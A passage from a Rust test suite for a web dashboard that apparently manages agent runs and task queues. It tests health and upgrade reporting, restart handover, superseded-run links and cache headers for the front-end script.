23733        #[cfg(unix)]
23734        {
23735            // Unix distinguishes an invalid descendant lookup from absence.
23736            assert_eq!(
23737                disk_capacity_size(&home.path().join("nested/data/child")),
23738                None
23739            );
23740        }
23741        #[cfg(unix)]
23742        {
23743            std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
23744            assert_eq!(disk_capacity_size(home.path()), Some(5));
23745        }
23746    }
23747
23748    #[tokio::test]
23749    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
23750        // `mode = "off"` for the same reason as the test above: a default
23751        // fixture repo falls back to `mode = "notify"`, which would make this
23752        // route's new `update` field a live, unauthenticated GitHub call on
23753        // every assertion in this suite that happens to hit `/api/health`.
23754        let repo = TempDir::new().expect("repo dir");
23755        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23756            .expect("write magi.toml");
23757        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
23758
23759        let health = fx.get("/api/health").await.json();
23760        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
23761        assert_eq!(
23762            health["update"]["available"], false,
23763            "checking is off, which reads as \"unknown\", not \"none\""
23764        );
23765        assert!(health["update"]["to"].is_null());
23766        assert!(
23767            health["upgrade"].is_null(),
23768            "nothing has ever asked this deck to upgrade"
23769        );
23770    }
23771
23772    #[tokio::test]
23773    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
23774        let fx = Fixture::start().await;
23775        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
23776
23777        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23778        progress.parked_run = Some("20260905-000000-cd51".to_owned());
23779        progress.advance(crate::updater::Stage::Parking);
23780        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23781
23782        let health = fx.get("/api/health").await.json();
23783        assert_eq!(health["upgrade"]["stage"], "parking");
23784        assert_eq!(health["upgrade"]["from"], "0.5.1");
23785        assert_eq!(health["upgrade"]["to"], "0.5.2");
23786        let waiting_on = health["upgrade"]["waiting_on"]
23787            .as_str()
23788            .expect("waiting_on is set while parking a known run");
23789        assert!(waiting_on.contains("cd51"), "{waiting_on}");
23790        assert!(waiting_on.contains("implementing"), "{waiting_on}");
23791    }
23792
23793    #[tokio::test]
23794    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
23795        let fx = Fixture::start().await;
23796        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23797        progress.advance(crate::updater::Stage::Done);
23798        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23799
23800        let health = fx.get("/api/health").await.json();
23801        assert_eq!(health["upgrade"]["stage"], "done");
23802        assert!(
23803            health["upgrade"]["waiting_on"].is_null(),
23804            "nothing to wait on once it is done"
23805        );
23806    }
23807
23808    /// The handover signal is seen however the race falls, and wakes its one
23809    /// waiter once per signal - nothing here can spin.
23810    #[tokio::test]
23811    async fn the_handover_signal_wakes_one_waiter_once() {
23812        let signal = Notify::new();
23813        // Signalled before anyone waits: the stored permit is not lost.
23814        signal.notify_one();
23815        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
23816            .await
23817            .expect("an early signal is still seen");
23818        // One signal, one wake-up: a second wait does not resolve by itself.
23819        assert!(
23820            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
23821                .await
23822                .is_err(),
23823            "a consumed signal must not wake a second time"
23824        );
23825        // Signalled while waiting.
23826        let signal = std::sync::Arc::new(signal);
23827        let waiter = tokio::spawn({
23828            let signal = std::sync::Arc::clone(&signal);
23829            async move { wait_for_handover(&signal).await }
23830        });
23831        tokio::time::sleep(Duration::from_millis(20)).await;
23832        assert!(!waiter.is_finished(), "nothing was signalled yet");
23833        signal.notify_one();
23834        tokio::time::timeout(Duration::from_secs(5), waiter)
23835            .await
23836            .expect("a late signal wakes the waiter")
23837            .expect("join");
23838    }
23839
23840    #[tokio::test]
23841    async fn health_says_how_long_a_handover_has_been_stuck() {
23842        let fx = Fixture::start().await;
23843        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23844        progress.advance(crate::updater::Stage::Replaced);
23845        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
23846        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23847
23848        let health = fx.get("/api/health").await.json();
23849        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
23850        assert!(stuck >= 600, "{stuck}");
23851        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
23852        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
23853    }
23854
23855    #[tokio::test]
23856    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
23857        let home = tempfile::tempdir().expect("temp home");
23858        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23859        progress.advance(crate::updater::Stage::Parking);
23860        crate::updater::write_progress(home.path(), &progress).expect("seed");
23861        // What the second upgrade_and_restart and its handler do.
23862        let mut again = progress.clone();
23863        again.advance(crate::updater::Stage::Replaced);
23864        crate::updater::write_progress(home.path(), &again).expect("replaced");
23865        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23866        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
23867        let after = crate::updater::read_progress(home.path()).expect("record");
23868        assert_eq!(after.stage, crate::updater::Stage::Parking);
23869    }
23870
23871    #[tokio::test]
23872    async fn health_does_not_call_a_live_parking_wait_stuck() {
23873        let fx = Fixture::start().await;
23874        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23875        progress.parked_run = Some("20260905-000000-cd51".to_owned());
23876        progress.advance(crate::updater::Stage::Parking);
23877        let hours = Duration::from_secs(3 * 3600);
23878        progress.started_at = Timestamp::now() - hours;
23879        progress.updated_at = Timestamp::now() - hours;
23880        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23881        let _lease = crate::updater::LeaseGuard::enter(
23882            fx.home.path(),
23883            Some("20260905-000000-cd51".to_owned()),
23884        );
23885
23886        let health = fx.get("/api/health").await.json();
23887        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
23888        assert!(health["upgrade"]["stuck_kind"].is_null());
23889        assert_eq!(health["upgrade"]["handover_alive"], true);
23890        let waiting_on = health["upgrade"]["waiting_on"]
23891            .as_str()
23892            .expect("waiting_on");
23893        assert!(waiting_on.contains("cd51"), "{waiting_on}");
23894    }
23895
23896    fn idle_ui(home: &TempDir) -> Ui {
23897        let runs = home.path().join("runs");
23898        std::fs::create_dir_all(&runs).expect("runs dir");
23899        Ui::new(
23900            Queue::at(home.path().join("queue")),
23901            Questions::at(home.path().join("questions")),
23902            Talks::at(home.path().join("talks")),
23903            runs,
23904            home.path().to_path_buf(),
23905            PathBuf::from("/repo/magi"),
23906        )
23907        .with_launch(launch_idle)
23908    }
23909
23910    #[tokio::test]
23911    async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
23912        let home = TempDir::new().expect("temp home");
23913        let ui = idle_ui(&home);
23914        let lease = crate::worker::try_lease(home.path(), "scheduler")
23915            .expect("scheduler lease")
23916            .expect("free");
23917        crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
23918            .expect("request stop");
23919        let error = ui
23920            .start_detached_loop()
23921            .await
23922            .expect_err("transition is still live");
23923        assert_eq!(error.status, StatusCode::CONFLICT);
23924        assert!(error.message.contains("still running or stopping"));
23925        assert_eq!(
23926            crate::worker::control(home.path(), "scheduler").unwrap(),
23927            Some(crate::worker::Control::Stop)
23928        );
23929        drop(lease);
23930    }
23931
23932    #[tokio::test]
23933    async fn handover_releases_listener_without_waiting_for_execution_leases() {
23934        let home = TempDir::new().expect("temp home");
23935        let ui = idle_ui(&home);
23936        let turns = ui
23937            .begin_talk_turn("active-chat")
23938            .expect("claim")
23939            .expect("free");
23940        let execution = crate::worker::try_lease(home.path(), "active-task")
23941            .expect("execution lease")
23942            .expect("free");
23943        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
23944            .await
23945            .expect("bind loopback");
23946        let address = listener.local_addr().expect("address");
23947        let admissions = Arc::clone(&ui.admissions);
23948        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
23949        let successor_started = std::sync::atomic::AtomicBool::new(false);
23950        tokio::time::timeout(
23951            Duration::from_secs(2),
23952            hand_over(home.path(), &admissions, served, || {
23953                successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
23954                Ok(1)
23955            }),
23956        )
23957        .await
23958        .expect("restart must not wait for execution")
23959        .expect("handover");
23960        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
23961        // BSD may retain the address briefly after listener release. The real
23962        // successor uses the same bounded bind retry rather than a one-shot bind.
23963        let successor = bind_waiting(address)
23964            .await
23965            .expect("successor binds released address");
23966        assert_eq!(successor.local_addr().unwrap(), address);
23967        assert!(turns.owns(), "the chat lease survives restart");
23968        assert!(
23969            crate::worker::try_lease(home.path(), "active-task")
23970                .unwrap()
23971                .is_none()
23972        );
23973        drop(execution);
23974        drop(turns);
23975    }
23976
23977    #[tokio::test]
23978    async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
23979        let home = TempDir::new().expect("temp home");
23980        let ui = idle_ui(&home);
23981        let admission = ui.begin_admission().expect("admit send");
23982        let turn = ui
23983            .begin_talk_turn("active-chat")
23984            .expect("claim")
23985            .expect("free");
23986        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
23987            .await
23988            .expect("bind loopback");
23989        let address = listener.local_addr().expect("address");
23990        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
23991        let successor_called = std::sync::atomic::AtomicBool::new(false);
23992        let handover = hand_over(home.path(), &ui.admissions, served, || {
23993            successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
23994            Ok(1)
23995        });
23996        tokio::pin!(handover);
23997        // Poll exactly to the writer waiting on our admission guard. This
23998        // pins the race without sleeps or assumptions about task scheduling.
23999        std::future::poll_fn(|cx| {
24000            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
24001            std::task::Poll::Ready(())
24002        })
24003        .await;
24004        assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
24005        assert!(
24006            ui.begin_admission().is_err(),
24007            "new ingress cannot race the drain"
24008        );
24009        assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
24010        drop(admission);
24011        tokio::time::timeout(Duration::from_secs(2), handover)
24012            .await
24013            .expect("only publication may delay restart")
24014            .expect("handover");
24015        assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
24016        assert!(
24017            turn.owns(),
24018            "the detached chat turn is not awaited or cancelled"
24019        );
24020        assert!(
24021            ui.begin_admission().is_err(),
24022            "old accepted connections stay closed"
24023        );
24024        drop(turn);
24025    }
24026
24027    #[test]
24028    fn health_worker_metadata_never_contains_payload_or_result() {
24029        let view = WorkerView::from(crate::worker::Job {
24030            id: "job".into(),
24031            sequence: 1,
24032            kind: "service".into(),
24033            key: "maintenance".into(),
24034            payload: serde_json::json!({"env": {"TOKEN": "private"}}),
24035            generation: "generation".into(),
24036            version: Some("1.2.3".into()),
24037            status: crate::worker::Status::Running,
24038            result: Some("private diagnostics".into()),
24039            pid: Some(4242),
24040            created_at: 1,
24041            finished_at: None,
24042        });
24043        let value = serde_json::to_value(view).expect("serialize public metadata");
24044        assert_eq!(value["version"], "1.2.3");
24045        assert_eq!(value["pid"], 4242);
24046        assert!(value.get("payload").is_none());
24047        assert!(value.get("result").is_none());
24048        assert!(!value.to_string().contains("private"));
24049    }
24050
24051    #[test]
24052    fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
24053        let home = TempDir::new().expect("temp home");
24054        let ui = idle_ui(&home);
24055        std::fs::write(
24056            home.path().join("daemon.json"),
24057            serde_json::json!({
24058                "schema": 2, "pid": 4242, "worker_protocol": 1,
24059                "updated_at": Timestamp::now().to_string(), "idle": true,
24060            })
24061            .to_string(),
24062        )
24063        .expect("status");
24064        let reading = daemon::read_status(home.path());
24065        assert!(Foreign::of(reading.as_ref()).is_none());
24066        let view = ui.runtime_loop_view(reading, &[]);
24067        assert!(view.running);
24068        assert!(view.owned);
24069    }
24070
24071    #[test]
24072    fn only_an_explicit_one_requests_a_resume() {
24073        assert!(!resume_requested(None));
24074        assert!(!resume_requested(Some("0".into())));
24075        assert!(!resume_requested(Some("".into())));
24076        assert!(resume_requested(Some("1".into())));
24077    }
24078
24079    #[test]
24080    fn an_error_is_visible_from_where_the_button_is() {
24081        // The alert used to sit in the flow under the header. On a phone
24082        // scrolled 13 500 px down to a run's action sheet that is off screen,
24083        // so tapping Resume and being told "the loop is running run b455
24084        // right now" looked exactly like a button that did nothing.
24085        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
24086            ..APP_CSS.find(".alert-text").expect(".alert-text")];
24087        assert!(
24088            alert.contains("position: fixed"),
24089            "an error about the thing under your thumb has to be visible from \
24090             where your thumb is: {alert}"
24091        );
24092        assert!(
24093            alert.contains("z-index: 25"),
24094            "above the dock (20) and the run-actions FAB (15), so neither \
24095             buries it: {alert}"
24096        );
24097        assert!(
24098            alert.contains("var(--tap)"),
24099            "and clear of the dock and the home indicator: {alert}"
24100        );
24101        // The FAB sits at the same height on the right. An error that covered
24102        // it would hide the button the operator reaches for next.
24103        assert!(
24104            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
24105            "the FAB's column stays free: {alert}"
24106        );
24107    }
24108
24109    #[tokio::test]
24110    async fn an_older_attempt_says_what_replaced_it() {
24111        let fx = Fixture::start().await;
24112        let q = fx.queue();
24113        let runs = fx.runs();
24114        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24115        write_run(&runs, first, RunStatus::Stalled);
24116        write_run(&runs, second, RunStatus::Blocked);
24117
24118        let mut t = Task::new(
24119            "one task".to_owned(),
24120            "do it".to_owned(),
24121            PathBuf::from("/repo"),
24122            Source::Human,
24123        );
24124        t.runs = vec![first.to_owned(), second.to_owned()];
24125        q.put(&mut t).expect("put");
24126
24127        // Two cards with the same title and no hint which is which was the
24128        // question: "why are there two of the same, one stalled and one
24129        // blocked?" The older one now names its replacement.
24130        let rows = fx.get("/api/runs").await.json();
24131        let by = |short: &str| -> Value {
24132            rows.as_array()
24133                .unwrap()
24134                .iter()
24135                .find(|r| r["short"] == short)
24136                .cloned()
24137                .unwrap_or(Value::Null)
24138        };
24139        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
24140        assert!(
24141            by("bbbb")["superseded_by"].is_null(),
24142            "the latest attempt is not superseded by anything"
24143        );
24144        // Front end: the note has to be rendered, not just carried.
24145        assert!(APP_JS.contains("run.superseded_by"));
24146        assert!(APP_JS.contains("Superseded by"));
24147    }
24148
24149    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
24150        let mut t = Task::new(
24151            "one task".to_owned(),
24152            "do it".to_owned(),
24153            PathBuf::from("/repo"),
24154            Source::Human,
24155        );
24156        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
24157        t.status = status;
24158        t
24159    }
24160
24161    #[test]
24162    fn source_link_picks_the_page_that_filed_the_task() {
24163        let agent = |node: &str| Source::Agent {
24164            run: "20260904-014455-ab12".to_owned(),
24165            node: node.to_owned(),
24166        };
24167        let chat = source_link(&agent("chat")).expect("chat link");
24168        assert_eq!(chat.kind, "chat");
24169        assert_eq!(chat.id, "20260904-014455-ab12");
24170        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
24171        let run = source_link(&agent("implement")).expect("run link");
24172        assert_eq!(
24173            (run.kind, run.href.as_str()),
24174            ("run", "#/runs/20260904-014455-ab12")
24175        );
24176        assert_eq!(source_link(&Source::Human), None);
24177        assert_eq!(
24178            source_link(&Source::Issue {
24179                number: 3,
24180                repo: "o/r".to_owned()
24181            }),
24182            None
24183        );
24184        let odd = source_link(&Source::Agent {
24185            run: "a b/c".to_owned(),
24186            node: "chat".to_owned(),
24187        })
24188        .expect("link");
24189        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
24190    }
24191
24192    #[test]
24193    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
24194        assert!(
24195            !APP_JS.contains("src.node === \"chat\""),
24196            "inline href rule is back"
24197        );
24198        assert!(
24199            APP_JS.matches("sourceLinkOf(").count() >= 4,
24200            "helper must serve every page"
24201        );
24202        assert!(
24203            APP_JS.matches("openChatLink(").count() >= 3,
24204            "the run page still needs its explicit chat link"
24205        );
24206        assert!(
24207            !APP_JS.contains("const openChat = el("),
24208            "the Queue card duplicates its source label link again"
24209        );
24210        assert!(
24211            APP_JS.contains("metaKids.push(link ? el(\"a\""),
24212            "the task page must link a chat source label too"
24213        );
24214    }
24215
24216    #[test]
24217    fn task_ref_carries_the_source_link_for_a_chat_task() {
24218        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
24219        t.source = Source::Agent {
24220            run: "20260904-014455-ab12".to_owned(),
24221            node: "chat".to_owned(),
24222        };
24223        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
24224        let v = serde_json::to_value(&out).expect("json");
24225        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
24226        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
24227        assert_eq!(v["source_label"], t.source.label());
24228
24229        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
24230        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
24231            .expect("json");
24232        assert!(v["source_link"].is_null(), "{v}");
24233    }
24234
24235    #[test]
24236    fn task_view_serializes_source_link() {
24237        let mut t = Task::new(
24238            "t".to_owned(),
24239            "t".to_owned(),
24240            PathBuf::from("/repo"),
24241            Source::Agent {
24242                run: "20260901-000000-aaaa".to_owned(),
24243                node: "implement".to_owned(),
24244            },
24245        );
24246        t.runs.clear();
24247        let v = serde_json::to_value(TaskView::from(t)).expect("json");
24248        assert_eq!(v["source_link"]["kind"], "run", "{v}");
24249        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
24250    }
24251
24252    #[test]
24253    fn task_view_serializes_urgent_flag() {
24254        let mut t = Task::new(
24255            "t".to_owned(),
24256            "t".to_owned(),
24257            PathBuf::from("/repo"),
24258            Source::Human,
24259        );
24260        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
24261        assert_eq!(v["urgent"], false, "{v}");
24262        t.urgent = true;
24263        let v = serde_json::to_value(TaskView::from(t)).expect("json");
24264        assert_eq!(v["urgent"], true, "{v}");
24265        assert!(APP_JS.contains("task.urgent === true"));
24266    }
24267
24268    #[tokio::test]
24269    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
24270        let fx = Fixture::start().await;
24271        let runs = fx.runs();
24272        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24273        write_run(&runs, old, RunStatus::Blocked);
24274        write_run(&runs, new, RunStatus::Merged);
24275        let mut t = outcome_task(&[old, new], TaskStatus::Done);
24276        fx.queue().put(&mut t).expect("put");
24277
24278        let view = fx.get(&format!("/api/runs/{old}")).await.json();
24279        let task = &view["task"];
24280        assert_eq!(task["status"], "done");
24281        assert_eq!(task["is_latest"], false);
24282        assert_eq!(task["latest"]["short"], "bbbb");
24283        assert_eq!(task["finished_by"]["id"], new);
24284        assert_eq!(task["finished_by"]["outcome"], "merged");
24285        assert_eq!(task["closed_by_hand"], false);
24286        assert_eq!(view["status"], "blocked", "the run keeps its own status");
24287        assert!(APP_JS.contains("finished_by"));
24288        assert!(APP_JS.contains("superseded by run"));
24289    }
24290
24291    #[tokio::test]
24292    async fn the_latest_run_reports_a_held_task_without_a_successor() {
24293        let fx = Fixture::start().await;
24294        let runs = fx.runs();
24295        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24296        write_run(&runs, old, RunStatus::Stalled);
24297        write_run(&runs, new, RunStatus::Blocked);
24298        let mut t = outcome_task(&[old, new], TaskStatus::Held);
24299        fx.queue().put(&mut t).expect("put");
24300
24301        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
24302        assert_eq!(task["status"], "held");
24303        assert_eq!(task["is_latest"], true);
24304        assert!(task["latest"].is_null());
24305        assert!(task["finished_by"].is_null());
24306        assert_eq!(task["closed_by_hand"], false);
24307    }
24308
24309    #[tokio::test]
24310    async fn a_direct_run_has_no_task_outcome() {
24311        let fx = Fixture::start().await;
24312        let runs = fx.runs();
24313        let id = "20260901-000000-aaaa";
24314        write_run(&runs, id, RunStatus::Blocked);
24315        let view = fx.get(&format!("/api/runs/{id}")).await.json();
24316        assert!(view["task"].is_null());
24317    }
24318
24319    #[test]
24320    fn task_outcome_does_not_guess_a_finishing_run() {
24321        let a = "20260901-000000-aaaa";
24322        let b = "20260901-000000-bbbb";
24323        let c = "20260901-000000-cccc";
24324        let dir = tempfile::tempdir().expect("tempdir");
24325        write_run(dir.path(), a, RunStatus::Blocked);
24326        write_run(dir.path(), b, RunStatus::VerifiedNoop);
24327        // `c` has no record: unreadable.
24328        let read = |id: &str| read_run(dir.path(), id).ok();
24329        // Neither a blocked run nor a no-op finished the task; the newest run is
24330        // unreadable and still named.
24331        let t = outcome_task(&[a, b, c], TaskStatus::Done);
24332        let out = task_outcome(&t, a, 3, read);
24333        assert!(out.finished_by.is_none());
24334        assert!(out.closed_by_hand);
24335        let latest = out.latest.expect("latest");
24336        assert_eq!(latest.id, c);
24337        assert_eq!(latest.status, None);
24338        assert_eq!(latest.outcome, "record unreadable");
24339
24340        // A Ready run settles the task as done, so it is named as the finisher.
24341        write_run(dir.path(), c, RunStatus::Ready);
24342        let t = outcome_task(&[a, c], TaskStatus::Done);
24343        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
24344        assert_eq!(out.finished_by.expect("finisher").id, c);
24345        assert!(!out.closed_by_hand);
24346
24347        // A resumed run id repeats: it is still the latest by id.
24348        let t = outcome_task(&[a, b, a], TaskStatus::Held);
24349        assert!(task_outcome(&t, a, 3, read).is_latest);
24350    }
24351
24352    #[tokio::test]
24353    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
24354        // The list route has known this since the card fix above; the detail
24355        // route — what an operator actually opens from a notification about
24356        // a blocked run — did not, and went on showing a bare red BLOCKED
24357        // chip for a run a retry had already finished.
24358        let fx = Fixture::start().await;
24359        let q = fx.queue();
24360        let runs = fx.runs();
24361        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
24362        write_run(&runs, first, RunStatus::Blocked);
24363        write_run(&runs, second, RunStatus::Merged);
24364
24365        let mut t = Task::new(
24366            "one task".to_owned(),
24367            "do it".to_owned(),
24368            PathBuf::from("/repo"),
24369            Source::Human,
24370        );
24371        t.runs = vec![first.to_owned(), second.to_owned()];
24372        q.put(&mut t).expect("put");
24373
24374        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
24375        assert_eq!(earlier["superseded_by"], "dddd");
24376        assert_eq!(earlier["latest_attempt"]["id"], second);
24377        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
24378        assert_eq!(
24379            earlier["latest_attempt"]["resolved"], true,
24380            "the run that replaced it landed, so this one reads as settled"
24381        );
24382
24383        let later = fx.get(&format!("/api/runs/{second}")).await.json();
24384        assert!(
24385            later["superseded_by"].is_null(),
24386            "the latest attempt is not superseded by anything"
24387        );
24388        assert!(
24389            later["latest_attempt"].is_null(),
24390            "the latest attempt has no later attempt of its own"
24391        );
24392
24393        // Front end: the detail page has to read the field this route now
24394        // carries, downgrade the chip, and link to the run that replaced it —
24395        // not just repeat the list card's own logic under a different name.
24396        // The link is built off `latest_attempt.id`, the server-resolved
24397        // full id, never a bare short string a client would have to guess a
24398        // full run from.
24399        assert!(APP_JS.contains("run.latest_attempt"));
24400        assert!(APP_JS.contains("data-superseded"));
24401        assert!(APP_JS.contains("#/runs/${latest.id}"));
24402    }
24403
24404    #[tokio::test]
24405    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
24406        // A -> B -> C, all Blocked except the last. A's immediate successor
24407        // (superseded_by) is B, which is itself unresolved; what an operator
24408        // opening A's page actually needs is where the task's story stands
24409        // *now* - C, not B - without depending on whether C happens to be in
24410        // whatever page of /api/runs the client last cached.
24411        let fx = Fixture::start().await;
24412        let q = fx.queue();
24413        let runs = fx.runs();
24414        let (a, b, c) = (
24415            "20260901-000000-aaaa",
24416            "20260901-000000-bbbb",
24417            "20260901-000000-cccc",
24418        );
24419        write_run(&runs, a, RunStatus::Blocked);
24420        write_run(&runs, b, RunStatus::Blocked);
24421        write_run(&runs, c, RunStatus::Merged);
24422
24423        let mut t = Task::new(
24424            "retried twice".to_owned(),
24425            "do it".to_owned(),
24426            PathBuf::from("/repo"),
24427            Source::Human,
24428        );
24429        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
24430        q.put(&mut t).expect("put");
24431
24432        let view = fx.get(&format!("/api/runs/{a}")).await.json();
24433        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
24434        assert_eq!(
24435            view["latest_attempt"]["id"], c,
24436            "the chain's current head, not the intermediate Blocked retry"
24437        );
24438        assert_eq!(view["latest_attempt"]["resolved"], true);
24439
24440        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
24441        assert_eq!(mid["latest_attempt"]["id"], c);
24442        assert_eq!(mid["latest_attempt"]["resolved"], true);
24443    }
24444
24445    #[tokio::test]
24446    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
24447        let fx = Fixture::start().await;
24448        let q = fx.queue();
24449        let runs = fx.runs();
24450
24451        // Still Blocked: the task is not resolved, so the older run must not
24452        // read as settled either.
24453        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
24454        write_run(&runs, still_blocked_a, RunStatus::Blocked);
24455        write_run(&runs, still_blocked_b, RunStatus::Blocked);
24456        let mut t1 = Task::new(
24457            "still stuck".to_owned(),
24458            "do it".to_owned(),
24459            PathBuf::from("/repo"),
24460            Source::Human,
24461        );
24462        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
24463        q.put(&mut t1).expect("put");
24464        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
24465        assert_eq!(view1["latest_attempt"]["resolved"], false);
24466        assert_eq!(view1["latest_attempt"]["status"], "blocked");
24467        assert_eq!(view1["latest_attempt"]["done"], true);
24468
24469        // Still running: the successor exists and must be reported as such.
24470        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
24471        write_run(&runs, run_a, RunStatus::Blocked);
24472        write_run(&runs, run_b, RunStatus::Implementing);
24473        let mut t3 = Task::new(
24474            "retrying".to_owned(),
24475            "do it".to_owned(),
24476            PathBuf::from("/repo"),
24477            Source::Human,
24478        );
24479        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
24480        q.put(&mut t3).expect("put");
24481        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
24482        assert_eq!(view3["latest_attempt"]["id"], run_b);
24483        assert_eq!(view3["latest_attempt"]["resolved"], false);
24484        assert_eq!(view3["latest_attempt"]["done"], false);
24485
24486        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
24487        // to check - not a confirmed finish, so this must not read as
24488        // resolved either, even though the run is done in the sense that
24489        // nothing is still running.
24490        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
24491        write_run(&runs, noop_a, RunStatus::Blocked);
24492        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
24493        let mut t2 = Task::new(
24494            "claims done".to_owned(),
24495            "do it".to_owned(),
24496            PathBuf::from("/repo"),
24497            Source::Human,
24498        );
24499        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
24500        q.put(&mut t2).expect("put");
24501        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
24502        assert_eq!(
24503            view2["latest_attempt"]["resolved"], false,
24504            "an unverified no-op claim must not read as a confirmed finish"
24505        );
24506
24507        // Front end: an unresolved successor must not carry the "finished
24508        // this work" note or the muted chip treatment.
24509        assert!(APP_JS.contains("latest.resolved"));
24510        // ...but the link to it shows as soon as it exists, labelled by state
24511        // and without the "finished" wording or the muted chip.
24512        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
24513        assert!(APP_JS.contains("Latest attempt: "));
24514        assert!(APP_JS.contains("in flight"));
24515        assert!(APP_JS.contains("not resolved"));
24516    }
24517
24518    #[tokio::test]
24519    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
24520        let fx = Fixture::start().await;
24521        // No cache header at all meant browsers invented their own policy,
24522        // and one did: a phone went on showing "Candidates must be folded
24523        // before deleting. Run `magi fold` first." - deleted two releases
24524        // earlier - from a deck that no longer contained the sentence. The
24525        // button it named was right there, and unreachable.
24526        let js = fx.get("/app.js").await;
24527        assert_eq!(js.status, 200);
24528        let tag = js
24529            .header("etag")
24530            .expect("an etag to revalidate against")
24531            .to_owned();
24532        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
24533        assert_eq!(
24534            js.header("cache-control"),
24535            Some("no-cache, must-revalidate"),
24536            "the phone has to ask every time"
24537        );
24538
24539        // And the asking has to be cheap, or `must-revalidate` just means
24540        // "send the whole interface on every load".
24541        let again = fx
24542            .get_with("/app.js", &[("if-none-match", tag.as_str())])
24543            .await;
24544        assert_eq!(
24545            again.status, 304,
24546            "a deck it already has costs one round trip"
24547        );
24548        assert!(again.body.is_empty(), "304 carries no body");
24549
24550        // A weakened tag from a proxy still matches; a different build does
24551        // not, which is the case that has to deliver the new interface.
24552        let weak = fx
